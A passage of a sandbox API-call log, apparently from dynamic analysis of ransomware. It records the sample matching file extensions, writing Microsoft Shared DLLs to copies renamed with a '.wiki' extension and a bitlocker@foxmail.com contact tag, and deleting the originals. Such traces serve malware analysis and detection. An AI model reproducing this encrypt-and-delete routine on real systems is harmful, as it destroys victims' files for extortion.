[0061.060] lstrlenW (lpString=".doc") returned 4 [0061.060] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0061.060] lstrlenW (lpString=".docx") returned 5 [0061.060] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0061.061] lstrlenW (lpString=".pdf") returned 4 [0061.061] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0061.061] lstrlenW (lpString=".xls") returned 4 [0061.061] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0061.061] lstrlenW (lpString=".xlsx") returned 5 [0061.061] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0061.061] lstrlenW (lpString=".ppt") returned 4 [0061.061] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0061.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.061] lstrlenW (lpString=".zip") returned 4 [0061.061] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0061.061] lstrlenW (lpString=".rar") returned 4 [0061.068] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0061.068] lstrlenW (lpString=".bz2") returned 4 [0061.068] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0061.068] lstrlenW (lpString=".7z") returned 3 [0061.068] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0061.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.068] lstrlenW (lpString=".dbf") returned 4 [0061.068] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0061.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.068] lstrlenW (lpString=".1cd") returned 4 [0061.068] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0061.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.068] lstrlenW (lpString=".jpg") returned 4 [0061.068] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0061.068] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0061.069] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0061.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0061.075] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=31104) returned 1 [0061.075] CloseHandle (hObject=0x224) returned 1 [0061.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0061.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0061.075] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.076] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.076] GetLastError () returned 0x0 [0061.076] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x7980, lpOverlapped=0x0) returned 1 [0061.122] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0061.123] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.123] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.123] SetEndOfFile (hFile=0x21c) returned 1 [0061.123] CloseHandle (hObject=0x21c) returned 1 [0061.124] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.124] SetEndOfFile (hFile=0x224) returned 1 [0061.125] CloseHandle (hObject=0x224) returned 1 [0061.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0061.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.125] lstrlenW (lpString=".doc") returned 4 [0061.125] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.125] lstrlenW (lpString=".docx") returned 5 [0061.125] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0061.125] lstrlenW (lpString=".pdf") returned 4 [0061.125] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.125] lstrlenW (lpString=".xls") returned 4 [0061.125] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.125] lstrlenW (lpString=".xlsx") returned 5 [0061.125] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0061.125] lstrlenW (lpString=".ppt") returned 4 [0061.125] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.125] lstrlenW (lpString=".zip") returned 4 [0061.125] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".rar") returned 4 [0061.126] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".bz2") returned 4 [0061.126] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.126] lstrlenW (lpString=".7z") returned 3 [0061.126] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.126] lstrlenW (lpString=".dbf") returned 4 [0061.126] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.126] lstrlenW (lpString=".1cd") returned 4 [0061.126] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.126] lstrlenW (lpString=".jpg") returned 4 [0061.126] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.126] lstrlenW (lpString=".doc") returned 4 [0061.126] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".docx") returned 5 [0061.126] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0061.126] lstrlenW (lpString=".pdf") returned 4 [0061.126] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".xls") returned 4 [0061.126] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".xlsx") returned 5 [0061.126] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0061.126] lstrlenW (lpString=".ppt") returned 4 [0061.126] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.126] lstrlenW (lpString=".zip") returned 4 [0061.126] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".rar") returned 4 [0061.126] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.126] lstrlenW (lpString=".bz2") returned 4 [0061.127] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.127] lstrlenW (lpString=".7z") returned 3 [0061.127] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.127] lstrlenW (lpString=".dbf") returned 4 [0061.127] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.127] lstrlenW (lpString=".1cd") returned 4 [0061.127] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0061.127] lstrlenW (lpString=".jpg") returned 4 [0061.127] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.127] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0061.127] lstrlenW (lpString="msgfilt.dll") returned 11 [0061.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.135] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=38768) returned 1 [0061.135] CloseHandle (hObject=0x21c) returned 1 [0061.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0061.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.136] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.136] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0061.145] GetLastError () returned 0x0 [0061.145] ReadFile (in: hFile=0x21c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x9770, lpOverlapped=0x0) returned 1 [0061.148] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0061.149] ReadFile (in: hFile=0x21c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.149] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.149] SetEndOfFile (hFile=0x1f8) returned 1 [0061.149] CloseHandle (hObject=0x1f8) returned 1 [0061.149] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.150] SetEndOfFile (hFile=0x21c) returned 1 [0061.150] CloseHandle (hObject=0x21c) returned 1 [0061.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.151] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0061.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.151] lstrlenW (lpString=".doc") returned 4 [0061.151] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.151] lstrlenW (lpString=".docx") returned 5 [0061.151] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0061.151] lstrlenW (lpString=".pdf") returned 4 [0061.151] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.151] lstrlenW (lpString=".xls") returned 4 [0061.151] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.151] lstrlenW (lpString=".xlsx") returned 5 [0061.151] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0061.151] lstrlenW (lpString=".ppt") returned 4 [0061.151] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.151] lstrlenW (lpString=".zip") returned 4 [0061.151] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.151] lstrlenW (lpString=".rar") returned 4 [0061.151] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.151] lstrlenW (lpString=".bz2") returned 4 [0061.151] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.151] lstrlenW (lpString=".7z") returned 3 [0061.151] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString=".dbf") returned 4 [0061.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString=".1cd") returned 4 [0061.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString=".jpg") returned 4 [0061.152] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString=".doc") returned 4 [0061.152] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString=".docx") returned 5 [0061.152] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0061.152] lstrlenW (lpString=".pdf") returned 4 [0061.152] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString=".xls") returned 4 [0061.152] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString=".xlsx") returned 5 [0061.152] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0061.152] lstrlenW (lpString=".ppt") returned 4 [0061.152] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString=".zip") returned 4 [0061.152] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString=".rar") returned 4 [0061.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.152] lstrlenW (lpString=".bz2") returned 4 [0061.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.152] lstrlenW (lpString=".7z") returned 3 [0061.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.152] lstrlenW (lpString=".dbf") returned 4 [0061.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.153] lstrlenW (lpString=".1cd") returned 4 [0061.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0061.153] lstrlenW (lpString=".jpg") returned 4 [0061.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.353] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0061.353] lstrlenW (lpString="odffilt.dll") returned 11 [0061.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0061.381] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1312656) returned 1 [0061.381] CloseHandle (hObject=0x234) returned 1 [0061.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0061.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0061.382] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.382] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0061.382] GetLastError () returned 0x0 [0061.382] ReadFile (in: hFile=0x234, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0061.412] WriteFile (in: hFile=0x238, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0061.610] ReadFile (in: hFile=0x234, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0061.621] WriteFile (in: hFile=0x238, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0061.627] ReadFile (in: hFile=0x234, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.627] WriteFile (in: hFile=0x238, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.627] SetEndOfFile (hFile=0x238) returned 1 [0061.627] CloseHandle (hObject=0x238) returned 1 [0061.628] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.628] SetEndOfFile (hFile=0x234) returned 1 [0061.630] CloseHandle (hObject=0x234) returned 1 [0061.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.631] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0061.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.631] lstrlenW (lpString=".doc") returned 4 [0061.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.631] lstrlenW (lpString=".docx") returned 5 [0061.631] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0061.631] lstrlenW (lpString=".pdf") returned 4 [0061.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.631] lstrlenW (lpString=".xls") returned 4 [0061.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.631] lstrlenW (lpString=".xlsx") returned 5 [0061.631] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0061.631] lstrlenW (lpString=".ppt") returned 4 [0061.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.631] lstrlenW (lpString=".zip") returned 4 [0061.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.631] lstrlenW (lpString=".rar") returned 4 [0061.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.631] lstrlenW (lpString=".bz2") returned 4 [0061.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.631] lstrlenW (lpString=".7z") returned 3 [0061.631] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.631] lstrlenW (lpString=".dbf") returned 4 [0061.631] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString=".1cd") returned 4 [0061.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString=".jpg") returned 4 [0061.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString=".doc") returned 4 [0061.632] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.632] lstrlenW (lpString=".docx") returned 5 [0061.632] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0061.632] lstrlenW (lpString=".pdf") returned 4 [0061.632] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.632] lstrlenW (lpString=".xls") returned 4 [0061.632] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.632] lstrlenW (lpString=".xlsx") returned 5 [0061.632] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0061.632] lstrlenW (lpString=".ppt") returned 4 [0061.632] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.632] lstrlenW 